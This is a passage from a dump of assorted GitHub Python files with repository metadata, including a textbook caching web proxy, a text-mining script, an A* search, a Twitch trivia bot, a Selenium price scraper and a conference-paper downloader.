hangman()","repo_name":"adityaraj9900/Webtech","sub_path":"Delta/ans.py","file_name":"ans.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25449599367","text":"# -*- coding = utf-8 -*-\n# @Time: 2022/12/23 11:47\n# @File: WebProxyServer.py\n# @Software: PyCharm\n\nfrom socket import *\nimport sys\n\n# if len(sys.argv) <= 1:\n#     print('Usage : \"python ProxyServer.py server_ip\"\\n[server_ip : It is the IP Address Of Proxy Server')\n#     sys.exit(2)\n\n# Create a server socket, bind it to a port and start listening\ntcpSerSock = socket(AF_INET, SOCK_STREAM)\n# Fill in start.\ntcpSerSock.bind(('', 6789))\ntcpSerSock.listen(5)\n# Fill in end.\n\nwhile 1:\n    # Strat receiving data from the client\n    print('Ready to serve...')\n    tcpCliSock, addr = tcpSerSock.accept()\n    print('Received a connection from:', addr)\n    message = tcpCliSock.recv(4096).decode()# Fill in start. # Fill in end.\n\n    # Extract the filename from the given message\n    filename = message.split()[1].partition(\"//\")[2].replace('/','_')\n    print('Filename: ', filename)\n    fileExist = \"false\"\n\n    try:\n        # Check wether the file exist in the cache\n        f = open(filename, \"r\")\n        outputdata = f.readlines()\n        fileExist = \"true\"\n        print(\"File Exists!\")\n        # ProxyServer finds a cache hit and generates a response message\n        tcpCliSock.send(\"HTTP/1.0 200 OK\\r\\n\".encode())\n        tcpCliSock.send(\"Content-Type:text/html\\r\\n\".encode())\n        # Fill in start.\n        for i in range(0, len(outputdata)):\n            tcpCliSock.send(outputdata[i].encode())\n        # Fill in end.\n        print('Read from cache')\n\n    # Error handling for file not found in cache\n    except IOError:\n        if fileExist == \"false\":\n            # Create a socket on the proxyserver\n            c = socket(AF_INET, SOCK_STREAM)# Fill in start. # Fill in end.\n            hostn = message.split()[1].partition(\"//\")[2].partition(\"/\")[0]\n            print('Host name: ', hostn)\n            try:\n                # Connect to the socket to port 80\n                # Fill in start.\n                c.connect((hostn, 80))\n                # Fill in end.\n\n                # Read the response into buffer\n                # Fill in start.\n                c.sendall(message.encode())\n                buff = c.recv(4096)\n                tcpCliSock.sendall(buff)\n                # Fill in end.\n\n                # Create a new file in the cache for the requested file.\n                # Also send the response in the buffer to client socket and the corresponding file in the cache\n                tmpFile = open(\"./\" + filename,\"w\")\n                # Fill in start.\n                tmpFile.writelines(buff.decode().replace('\\r\\n', '\\n'))\n                tmpFile.close()\n                # Fill in end.\n            except:\n                print(\"Illegal request\")\n        else:\n            # HTTP response message for file not found\n            # Fill in start.\n            tcpCliSock.send(\"HTTP/1.0 404 NOT FOUND\\r\\n\".encode())\n            tcpCliSock.send(\"\\r\\n\".encode())\n            # Fill in end.\n    # Close the client and the server sockets\n    tcpCliSock.close()\n\n# Fill in start.\ntcpSerSock.close()\n# Fill in end.\n","repo_name":"YangLi0306/Computer-Networking-A-Top-Down-Approach","sub_path":"Chapter_2_Application Layer/Web 代理服务器/WebProxyServer.py","file_name":"WebProxyServer.py","file_ext":"py","file_size_in_byte":3029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5953418012","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May  3 09:38:27 2018\r\n\r\nBA_05032018\r\nText Mining Filter\r\n\r\n@author: Justin\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndata = pd.read_csv(r'C:\\\\Users\\김성제\\Google Drive\\공부\\4학년 1학기\\Business Analytics\\Data set\\Week9\\\\gender-classifier-DFE-791531.csv', encoding = 'latin1')\r\n\r\ndata['gender'].value_counts() # brand는 marketing ID를 의미\r\n\r\nbin_data = data[data['gender'].isin(['female', 'male'])] # 이 클래스에 속하는 애들만 선택할 수 있다.\r\n\r\ntext = bin_data['text']\r\ntext.head() # unrelevant term이 있다. ex) retweet...\r\n\r\n# regular expression 을 쓰고 싶다면 re를 import 하자\r\nimport re\r\n\r\n# we have to clean text one by one\r\n\r\nurl_pattern = '(https?:\\/\\/(?:www\\.|(?!www))[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\\.[^\\s]{2,}|www\\.[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\\.[^\\s]{2,}|https?:\\/\\/(?:www\\.|(?!www))[a-zA-Z0-9]\\.[^\\s]{2,}|www\\.[a-zA-Z0-9]\\.[^\\s]{2,})'\r\nsample = ''\r\n\r\nclean = text.apply(lambda x: re.sub('#\\w+', '', x)) # '#' 으로 시작하는 단어를 지움\r\nclean = clean.apply(lambda x: re.sub('@\\w+', '', x))\r\nclean = clean.apply(lambda x: re.sub(url_pattern, '', x))\r\n\r\n# certain character not in Alphabet\r\nimport string # provide information of the many different character using a language.\r\n\r\nstring.punctuation\r\nstring.ascii_letters # non-Alphabet을 지울 수 있음\r\n\r\nclean = clean.apply(lambda x: ''.join([y for y in x if not y in string.punctuation]))\r\nclean.head()\r\nclean = clean.apply(lambda x: ''.join([y for y in x if y in string.ascii_letters+' '])) # keep the space 하고 싶으면 ' ' 넣자.\r\n\r\n                                      \r\nclean = clean.apply(lambda x: x.lower())\r\n\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\n\r\ncv = CountVectorizer(min_df = 100) # min_df는 53라인 후에 추가했음\r\n\r\ncv.fit(clean) # there is no target, just converting. It just scan for defining the features.\r\n\r\nvocab = cv.vocabulary_ # scan 후 vocabulary를 만듦 , 하지만 너무 feature가 많음. 그래서 min_df를 설정해야함\r\n# 이후 stemming을 해서 품사 조정된 true relevant feature를 얻을 수 있다.\r\n# term frequenct matrix에 적용해보자\r\n\r\nX = cv.transform(clean) # variable explorer에서 볼 수 없는데, 왜냐하면 얘는 sparse matrix -> many elements are zero.\r\ntype(X)\r\nX = X.toarray() \r\n\r\ntokenizer = cv.build_tokenizer()\r\ntokenizer(clean.values[0])\r\n\r\n\r\nfrom sklearn.feature_extraction.text import TfidfTransformer\r\n\r\ntrans = TfidfTransformer(sublinear_tf = True)\r\nXtfidf = trans.fit_transform(X)\r\nXtfidf = Xtfidf.toarray() # 이걸 적용하니까 integer 넘버가 안 나옴\r\n\r\nidf = trans.idf_ # 숫자가 낮은게 많이 사용되었다.\r\n\r\nfrom sklearn.feature_selection import SelectKBest\r\nfrom sklearn.feature_selection import chi2\r\n\r\nfs = SelectKBest(score_func = chi2, k = 100)\r\ny = (bin_data['gender'] == 'female')*1\r\n\r\nfs.fit(X, y) # Target이 필요해, Xtfidf대신에 X 넣어야함 count value가 필요하게 때문에 카이스퀘어는\r\nXred = fs.transform(X)\r\nfs.get_support(True)\r\n\r\nchi2_val = chi2(X,y) # 0은 chi2 statstic value, 1은 probablity value (p-value)\r\n# small p-value accept alternative hypothesis\r\n\r\nind = np.argsort(chi2_val[0])[::-1] # we can get the index, 어떤위치에 있는지, sort는 안됨 Ascending 한 index를 얻기위해\r\nvocab = pd.DataFrame([(x,y) for x,y in vocab.items()])\r\n\r\nsel_vocab = vocab[vocab[1].isin(ind[:100])] # quite not independent on gender\r\n\r\n\r\nfrom sklearn.naive_bayes import MultinomialNB\r\n\r\nmnb = MultinomialNB()\r\nmnb.fit(Xred,y)\r\n\r\np = np.exp(mnb.feature_log_prob_) \r\n\r\nmnb.score(Xred, y)\r\n\r\n# 단지 raw data에서 processing 하는 법을 보여주기 위해\r\n\r\n\r\n\r\n\r\n###practice\r\n\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nvectorizer = TfidfVectorizer()\r\ncorpus = ['This is the first document.','This is the second second document.', 'And the third one.', 'Is this the first document?']\r\nX = vectorizer.fit_transform(corpus)\r\n","repo_name":"afko/Business-Analytics","sub_path":"05032018_Text Mining_Filter.py","file_name":"05032018_Text Mining_Filter.py","file_ext":"py","file_size_in_byte":4007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72855027711","text":"\nfrom math import sqrt\n\n\nclass PriorityQueue:\n    def __init__(self):\n        self._heap = []\n        self._size = 0\n\n    @property\n    def size(self):\n        return self._size\n\n    def _parent_ind(self, ind):\n        return (ind - 1) // 2\n\n    def _left_child_ind(self, ind):\n        return 2 * ind + 1\n\n    def _right_child_ind(self, ind):\n        return 2 * ind + 2\n\n    def get_min(self):\n        if self._size == 0:\n            raise Exception(\"Priority queue is empty.\")\n        return self._heap[0]\n\n    def insert(self, x):\n        self._heap.append(x)\n        self._size += 1\n        self._percolate_up(self._size - 1)\n\n    def _percolate_up(self, ind):\n        while ind > 0 and self._heap[ind] < self._heap[self._parent_ind(ind)]:\n            self._heap[ind], self._heap[self._parent_ind(ind)] = self._heap[self._parent_ind(ind)], self._heap[ind]\n            ind = self._parent_ind(ind)\n\n    def extract_min(self):\n        if self._size == 0:\n            raise Exception(\"Priority queue is empty.\")\n        min_val = self._heap[0]\n        self._heap[0] = self._heap[self._size - 1]\n        self._size -= 1\n        self._heap.pop()\n        self._percolate_down(0)\n        return min_val\n\n    def _percolate_down(self, ind):\n        min_index = ind\n        lchild_ind = self._left_child_ind(ind)\n        if lchild_ind < self._size and self._heap[lchild_ind] < self._heap[min_index]:\n            min_index = lchild_ind\n        rchild_ind = self._right_child_ind(ind)\n        if rchild_ind < self._size and self._heap[rchild_ind] < self._heap[min_index]:\n            min_index = rchild_ind\n        if ind != min_index:\n            self._heap[ind], self._heap[min_index] = self._heap[min_index], self._heap[ind]\n            self._percolate_down(min_index)\n\n    def find_node_by_id(self, value):\n        \"\"\"Find the index of a value in the heap.\n        Returns:\n            int: The index of the value in the heap, or -1 if not found.\n        \"\"\"\n        for i, node in enumerate(self._heap):\n            if node.id == id:\n                return i\n        return -1\n\n    def get_node_by_id(self, value):\n\n        node_ind = self.find_node_by_id(id)\n\n        if node_ind == -1:\n            return None\n        else:\n            return self._heap[node_ind]\n\n    def delete_node_by_id(self, value):\n        \"\"\"Delete a value from the heap and re-heapify.\n        Returns:\n            bool: True if the value was deleted, False otherwise.\n        \"\"\"\n        ind = self.find_node_by_id(id)\n        if ind == -1:\n            return False\n\n        # Swap the node with the last node and remove it\n        self._heap[ind], self._heap[-1] = self._heap[-1], self._heap[ind]\n        self._heap.pop()\n        self._size -= 1\n\n        # Re-heapify\n        self._percolate_down(ind)\n        self._percolate_up(ind)\n\n        return True\n\n\nclass Node:\n    def __init__(self, id, via_vertex, actual_cost, total_estimated_cost):\n        self.id = id\n        self.via_vertex = via_vertex\n        self.actual_cost = actual_cost\n        self.total_est_cost = total_estimated_cost\n\n    def __lt__(self, other):\n        \"\"\"Less than comparison operator for priority queue. \"\"\"\n        return self.total_est_cost < other.total_est_cost\n\n    def __eq__(self, other):\n        \"\"\"Equality comparison operator for priority queue. \"\"\"\n        return self.total_est_cost == other.total_est_cost\n\n    def __gt__(self, other):\n        \"\"\"Greater than comparison operator for priority queue. \"\"\"\n        return self.total_est_cost > other.total_est_cost\n\n\ndef heuristic_cost_estimate(vertex, goal_vertex):\n    \"\"\"Calculate the heuristic cost estimate between two vertices. Ecludian distance is used here.\"\"\"\n\n    return sqrt((vertex[0] - goal_vertex[0])**2 + (vertex[1] - goal_vertex[1])**2)\n\n\ndef road_distance(vertex1, vertex2):\n    \"\"\" Calculate the road distance between two vertices.\"\"\"\n    return sqrt((vertex1[0] - vertex2[0])**2 + (vertex1[1] - vertex2[1])**2)\n\n\ndef shortest_path(m, start, goal):\n    next_vertex = PriorityQueue()\n    route = []\n    next_vertex.insert(Node(start, None, 0, heuristic_cost_estimate(m.intersections[start], m.intersections[goal])))\n    while next_vertex.size > 0:\n        cur_node = next_vertex.extract_min()\n        # Ignore nodes that are already in the route. This means we visited it already through a shorter path.\n        if cur_node.id in route:\n            route = route[:route.index(cur_node.id)+1]\n        else:\n            route.append(cur_node.id)\n        if cur_node.id == goal:\n            break\n\n        for road in m.roads[cur_node.id]:\n            actual_cost = cur_node.actual_cost + road_distance(m.intersections[cur_node.id], m.intersections[road])\n            total_est_cost = actual_cost + heuristic_cost_estimate(m.intersections[road], m.intersections[goal])\n            next_city_node = Node(road, cur_node.id, actual_cost, total_est_cost)\n            vertex_old_node = next_vertex.get_node_by_id(road)\n            if vertex_old_node is not None:\n                if vertex_old_node.total_est_cost > next_city_node.total_est_cost:\n                    next_vertex.delete_node_by_id(vertex_old_node.id)\n                    next_vertex.insert(next_city_node)\n            else:\n                next_vertex.insert(next_city_node)\n\n    print(f\"shortest path called {route}\")\n    return route if route[-1] == goal else None\n\n\nclass Map:\n    intersectons = None\n    roads = None\n\n\ndef main():\n    test_m = Map()\n    test_m.intersections = {0: [0.7798606835438107, 0.6922727646627362],\n                            1: [0.7647837074641568, 0.3252670836724646],\n                            2: [0.7155217893995438, 0.20026498027300055],\n                            3: [0.7076566826610747, 0.3278339270610988],\n                            4: [0.8325506249953353, 0.02310946309985762],\n                            5: [0.49016747075266875, 0.5464878695400415],\n                            6: [0.8820353070895344, 0.6791919587749445],\n                            7: [0.46247219371675075, 0.6258061621642713],\n                            8: [0.11622158839385677, 0.11236327488812581],\n                            9: [0.1285377678230034, 0.3285840695698353]}\n    test_m.roads = [[7, 6, 5],\n                    [4, 3, 2],\n                    [4, 3, 1],\n                    [5, 4, 1, 2],\n                    [1, 2, 3],\n                    [7, 0, 3],\n                    [0],\n                    [0, 5],\n                    [9],\n                    [8]]\n\n    shortest_path(test_m, 6, 4)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"ahmedokasha000/Learn-DSA","sub_path":"Udacity_ND/algorithms/a_star_shortest_path.py","file_name":"a_star_shortest_path.py","file_ext":"py","file_size_in_byte":6543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39601630187","text":"from fastapi import FastAPI, Form, Request\nfrom fastapi.responses import HTMLResponse\nfrom fastapi.templating import Jinja2Templates\n\nfrom scripts.validate_url import validate_urls\n\napp = FastAPI()\n\ntemplates = Jinja2Templates(directory=\"templates\")\n\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def root(request: Request):\n    return templates.TemplateResponse(\"index.html\", {\"request\": request})\n\n\n@app.post(\"/process_urls\", response_class=HTMLResponse)\nasync def process_urls(request: Request, urls: str = Form(...)):\n    validation_list = validate_urls(urls=urls)\n    return templates.TemplateResponse(\n        \"response.html\", {\"request\": request, \"urls\": urls, \"validation_list\": validation_list}\n    )\n","repo_name":"miguelvz/technical_test_day1","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5539951730","text":"from django.urls import path\nfrom .views import upload_file, show_table, render_graphs, train_models\nfrom .api_views import DataOutputApiView\n\nurlpatterns = [\n    path(r'upload-file', upload_file, name='upload_file'),\n    path(r'data-preview/<str:title>', show_table, name='data_preview'),\n    path(r'model-options/<str:title>', render_graphs, name='render_graphs'),\n    path(r'model-options/<str:title>/api', DataOutputApiView.as_view(), name='api'),\n    path(r'model-options/<str:title>/training_results', train_models, name='train_models')\n]","repo_name":"katemartin9/django-ml-app","sub_path":"kML/regml/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7104937150","text":"import logging\nfrom collections import defaultdict\nimport random\nfrom datetime import datetime \nfrom datetime import timedelta\nfrom time import sleep\nimport threading\nimport os\nimport pandas as pd\nimport sys\nsys.path.insert(0, os.path.dirname(__file__))\nfrom PointsDB import PointsDB\n\nclass TriviaPlugin():\n\tdef __init__(self):\n\t\tself._dir = os.path.dirname(__file__)\n\t\tself._load_questions()\n\n\t\tself._db = PointsDB()\n\n\t\tself._current_ans = None\n\t\tself._timeout = None\n\n\t\tself._outbound_messages = []\n\t\n\tdef _load_questions(self):\n\t\t# Load SC Trivia into self._trivia_sc\n\t\tfolder = os.path.dirname(os.path.abspath(__file__))\n\t\tdf = pd.read_csv(os.path.join(folder,'questions.csv')).dropna()\n\t\tself._questions = []\n\t\tfor kind, units, unit in df.values:\n\t\t\tself._questions.append({'question': 'What is the [ {} ] for the [ {} ]?'.format(kind, unit), 'answer': str(int(units))})\n\t\tfor speech, unit in pd.read_csv(os.path.join(folder, 'questions_speech.tsv'),delimiter='\\t').dropna().values:\n\t\t\tself._questions.append({'question': '[ UNIT SPEECH ] {}'.format(speech), 'answer': unit})\n\n\t\tfor q in self._questions:\n\t\t\tprint('{} : {}'.format(q['question'], q['answer']))\n\n\tdef add_points(self, user) -> int:\n\t\t''' Add points for this user and return the new points\n\t\t'''\n\t\tcurrent_points = self._db.get(user)\n\t\tnew_points = current_points + 5\n\t\tlogging.info(\"Current points: {}\".format(current_points))\n\t\tlogging.info(\"New points: {}\".format(new_points))\n\t\tself._db.update(user, new_points)\n\t\treturn str(new_points)\n\n\tdef check_for_answer(self, user, msg):\n\t\tif msg.strip().lower() == self._current_ans.lower():\n\t\t\tnew_points = self.add_points(user)\n\t\t\tself._outbound_messages.append('{} got it ({} total points)! Answer: {}'.format(user, new_points, self._current_ans))\t\t\t\t\n\t\t\tself._current_ans = None\n\t\t\tself._timeout = None\n\t\t\t\n\tdef parse(self, user, msg):\n\t\t''' Get the incoming messages\n\t\t'''\t\n\t\t# If there is already a question going\n\t\tif self._current_ans == None and msg == '!trivia':\n\t\t\tquestion = random.choice(self._questions)\n\t\t\tself._outbound_messages.append(question['question'])\n\t\t\tself._current_ans = question['answer']\n\t\t\tself._timeout = datetime.now() + timedelta(seconds=30)\n\t\t\tlogging.debug(\"Adding question to queue: {}\".format(question['question']))\n\n\t\tif self._current_ans != None:\n\t\t\tself.check_for_answer(user, msg)\n\t\tif self._timeout != None and datetime.now() > self._timeout:\n\t\t\tself._outbound_messages.append(\"Timed out. Answer: {}\".format(self._current_ans))\n\t\t\tself._current_ans = None\n\t\t\tself._timeout = None\n\n\tdef get_outbound(self):\n\t\t''' Return the outbound messages\n\t\t'''\n\t\tif self._timeout != None and datetime.now() > self._timeout:\n\t\t\tself._outbound_messages.append(\"Timed out. Answer: {}\".format(self._current_ans))\n\t\t\tself._current_ans = None\n\t\t\tself._timeout = None\n\n\t\tr = list(self._outbound_messages)\n\t\tself._outbound_messages = []\n\t\treturn r\n\nif __name__ == '__main__':\n\tt = TriviaPlugin()\n\t\t\n","repo_name":"jtjanecek/TwitchBot","sub_path":"plugins/TriviaPlugin/TriviaPlugin.py","file_name":"TriviaPlugin.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"270413728","text":"from json import load\n# antes de criarmos nossa classe precisamos carregar um arquivo\nclass sistema:\n\n    def __init__(self):\n        with open(\"acesso.json\") as f:\n            acesso = load(f) #cria um dicionario em python com o arquivo json\n\n        self.login = acesso[\"login\"]\n        self.senha = acesso[\"senha\"]\n\n    def verficacao(self):\n        assert self.login == \"admin\"\n        assert self.senha == \"senha\"\n\n        return True\n\n    def retorna_login(self):\n        return self.login()\n\n\nsis = sistema()\n\nprint(sis.verficacao())\n\nsis.retorna_login()","repo_name":"Levi-cell/JornadaPython","sub_path":"PythonPro/Module2/StudyMaterial/MagicMethods/MagicoMethosComArquivo.py","file_name":"MagicoMethosComArquivo.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29087584795","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport time\n\ndef scroll_to_end(driver):\n    products = driver.find_elements(By.CLASS_NAME, \"sc-b6ec677b-1\")\n    number_of_items = len(products)\n    while True:\n        actions = ActionChains(driver)\n        actions.move_to_element(products[-1])\n        actions.perform()\n        time.sleep(30)\n        products = driver.find_elements(By.CLASS_NAME, \"sc-b6ec677b-1\")\n        if len(products) == number_of_items:\n            break\n        number_of_items = len(products)\n\n\ndef main():\n    webdriver_service = Service('C:/Users/kaharva/Downloads/chromedriver_win32/chromedriver.exe') \n    chrome_options = Options()\n    chrome_options.add_argument(\"--headless\") \n    driver = webdriver.Chrome(service=webdriver_service, options=chrome_options)\n    print(\"Loading page...\")\n    driver.get(\"https://www.s-kaupat.fi/tuotteet\")\n    time.sleep(5)\n    initial_element = driver.find_element(By.XPATH, '/html/body')\n    actions = ActionChains(driver)\n    actions.move_to_element(initial_element)\n\n    for _ in range(6):\n        actions.send_keys(Keys.TAB)\n\n    actions.send_keys(Keys.ENTER)\n    actions.perform()\n    print(\"Page loaded.\")\n    WebDriverWait(driver, 40).until(EC.presence_of_element_located((By.CLASS_NAME, \"sc-b6ec677b-1\")))\n    scroll_to_end(driver)\n    products = driver.find_elements(By.CLASS_NAME, \"sc-b6ec677b-1\")\n\n    with open(\"output.txt\", \"w\", encoding=\"utf-8\") as f:\n        for product in products:\n            name = product.find_element(By.CLASS_NAME, \"sc-4dcde147-0.ipMTjW\").text\n            price = product.find_element(By.CLASS_NAME, \"sc-68088102-0.hWdKPC\").text\n            try:\n                comp_price = product.find_element(By.CLASS_NAME, \"sc-67cf5218-0.EhGdO\").text\n            except Exception:\n                comp_price = \"No comparison price available\"\n            f.write(f'Product Name: {name} - Price: {price} - Comparison Price: {comp_price}\\n')\n            time.sleep(0.2)\n\n    driver.quit()\n    \n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"vkahara/prisma_scraper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33504699456","text":"\"\"\"\nSet up the bot for execution.\n\"\"\"\nfrom rhobot.application import Application\nfrom foursquare_bot.components.commands import load_commands\nfrom foursquare_bot.components import load_components\n\n\napplication = Application()\n\n# Register all of the components that are defined in this application.\napplication.pre_init(load_commands)\napplication.pre_init(load_components)\n\n@application.post_init\ndef register_plugins(bot):\n    # Bot Specific Components\n    bot.register_plugin('foursquare_lookup')\n    bot.register_plugin('knowledge_provider')\n    bot.register_plugin('knowledge_maintainer')\n    bot.register_plugin('search_handler')\n\n    # Commands\n    bot.register_plugin('configure_client_details')\n    bot.register_plugin('search_venues')\n","repo_name":"rerobins/rho_foursquare_bot","sub_path":"foursquare_bot/foursquare_bot_setup.py","file_name":"foursquare_bot_setup.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72269911231","text":"import queue\nimport threading\nimport requests\nimport os, re\nfrom bs4 import BeautifulSoup\n\nstorage_dir = '/Users/gaojinghan/Desktop/few-shot papers/'\nthreads = 8\ncur_papers = []\n\nfor dir in os.listdir(storage_dir):\n    if dir != 'finished':\n        cur_papers.append(dir)\n    else:\n        for dir in os.listdir(os.path.join(storage_dir, dir)):\n            cur_papers.append(dir)\n\nclass PDFDownloader(threading.Thread):\n    def __init__(self, queue, num):\n        threading.Thread.__init__(self)\n        self.queue = queue\n        self.num = num\n\n    def run(self):\n        while self.queue.qsize() > 0:\n            index = self.queue.get()\n            print(\"Thread-{} working on {}\".format(self.num, index['title']))\n            path = os.path.join(storage_dir, index['title'])\n            r = requests.get(index['url'])\n            with open(path, \"wb\") as f:\n                f.write(r.content)\n            if index['bibtex'] is not None:\n                with open(os.path.join(storage_dir, 'bibtexs', index['title'].replace('.pdf', '.bib')), 'w') as f:\n                    f.write(index['bibtex'])\n\n\ndef CVPR(year=2019, search=''):\n    url = f'http://openaccess.thecvf.com/CVPR{year}.py'\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, features=\"html.parser\")\n    papers = soup.dl.find_all('dd')[1::2]\n    results = []\n    for paper in papers:\n        result = {}\n        result['bibtex'] = paper.find(class_='bibref').text[1:]\n        result['title'] = re.search(r'title = {(.*?)}', result['bibtex'], re.I).group()[9:-1].replace(' ', '_') + '.pdf'\n        result['url'] = 'http://openaccess.thecvf.com/' + paper.a.get('href')\n        if search.lower() in result['title'].lower() and result['title'] not in cur_papers:\n            results.append(result)\n\n    return results\n\n\ndef ICML(year=2019, search=''):\n    if year == 2019:\n        url = 'http://proceedings.mlr.press/v97/'\n    elif year == 2018:\n        url = 'http://proceedings.mlr.press/v80/'\n    else:\n        return []\n    r = requests.get(url)\n    soup = BeautifulSoup(r.text, features=\"html.parser\")\n    papers = soup.find_all(class_='paper')\n    results = []\n    for paper in papers:\n        result = {}\n        result['bibtex'] = None\n        result['title'] = paper.p.text.replace(' ', '_') + '.pdf'\n        result['url'] = paper.find_all('a')[1].get('href')\n        if search.lower() in result['title'].lower() and result['title'] not in cur_papers:\n            results.append(result)\n\n    return results\n\n\ndef download_paper(indexs):\n    if not os.path.exists(os.path.join(storage_dir, 'bibtexs')):\n        os.mkdir(os.path.join(storage_dir, 'bibtexs'))\n\n    paper_queue = queue.Queue()\n    for item in indexs:\n        paper_queue.put(item)\n\n    my_downloaders = []\n    for i in range(threads):\n        my_downloaders.append(PDFDownloader(paper_queue, i + 1))\n\n    for downloader in my_downloaders:\n        downloader.start()\n\n    for downloader in my_downloaders:\n        downloader.join()\n\n\n\nif __name__ == \"__main__\":\n    download_paper(CVPR(search='shot') + ICML(search='shot'))\n    print(\"Finish update!\")\n","repo_name":"getterk96/paper-updater","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10190633547","text":"test = {\n  'name': 'q3_6',\n  'points': 1,\n  'suites': [\n    {\n      'cases': [\n        {\n          'code': r\"\"\"\n          >>> rate_means.num_rows\n          2\n          \"\"\",\n          'hidden': False,\n          'locked': False\n        },\n        {\n          'code': r\"\"\"\n          >>> rate_means.where(\"Death Penalty\", False).column(1).item(0)\n          8.120454540452272\n          \"\"\",\n          'hidden': False,\n          'locked': False\n        },\n        {\n          'code': r\"\"\"\n          >>> rate_means.where(\"Death Penalty\", True).column(1).item(0)\n          7.513636380386362\n          \"\"\",\n          'hidden': False,\n          'locked': False\n        }\n      ],\n      'scored': True,\n      'setup': '',\n      'teardown': '',\n      'type': 'doctest'\n    }\n  ]\n}\n","repo_name":"data-8/materials-fa20","sub_path":"materials/fa20/lab/lab07/tests/q3_6.py","file_name":"q3_6.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
+{"seq_id":"44052864560","text":"# %%\nimport math\n\ndef sin(x):\n    return math.sin(math.radians(x))\ndef cos(x):\n    return math.cos(math.radians(x))\ndef asin(x):\n    return math.degrees(math.asin(x))\n\ntolerance = 10**-9\n\n# %%\n#standard form, small angles\n#(b, bp, c, cp, d, dp, a, ap), alpha exists separatly\n\ncount = 0\nfor alpha in range(1,180):\n    print_flag = True\n    for b in range(1,180):\n        ap = 180-alpha-b\n        if ap < 1 or ap > 178 or ap > b:\n            continue\n        AO = sin(b)/sin(180-alpha-b)\n        for a in range(1, b+1):\n            dp = alpha - a\n            if dp < 1 or dp > 178 or dp > b:\n                continue\n            DO = sin(a)*AO/sin(alpha-a)\n            for d in range(1,b+1):\n                cp = 180-d-alpha\n                if cp < 1 or cp > 178 or cp > b:\n                    continue\n                CO = sin(d)*DO/sin(180 - alpha - d)\n                BC = math.sqrt(1 + CO**2 - 2*CO*cos(180-alpha))\n                if CO < 1:\n                    bp_raw = asin(CO*sin(180-alpha)/BC)\n                    bp = round(bp_raw)\n                    if abs(bp_raw - bp) >= tolerance:\n                        continue\n                    c = alpha - bp\n                else:\n                    c_raw = asin(sin(180-alpha)/BC)\n                    c = round(c_raw)\n                    if abs(c_raw - c) >= tolerance:\n                        continue\n                    bp = alpha - c\n                angles = (b, bp, c, cp, d, dp, a, ap)\n                # Test if in maximum format e.g. perfect\n                options = \\\n                    [tuple(angles[i:] + angles[:i]) for i in range(0,8,2)] + \\\n                    [tuple(angles[i::-1] + angles[:i:-1]) for i in range(1,8,2)]\n                if angles != max(options):\n                    continue\n                #Made it here, e.g. this is a valid solution\n                count += 1\n                if print_flag:\n                    print(\"alpha: {}, (b: {}, bp: {}, c: {}, cp: {}, d: {}, dp: {}, a: {}, ap: {})\".format(alpha, *angles))\n                    # print(\"BO: 1, AO: {}, DO: {}, CO: {}, BC: {}\".format(AO, DO, CO, BC))\n                    print_flag = False\n\nprint(\"ans\", count)\n# %%\n","repo_name":"jgilles23/projectEuler","sub_path":"pe177_2.py","file_name":"pe177_2.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
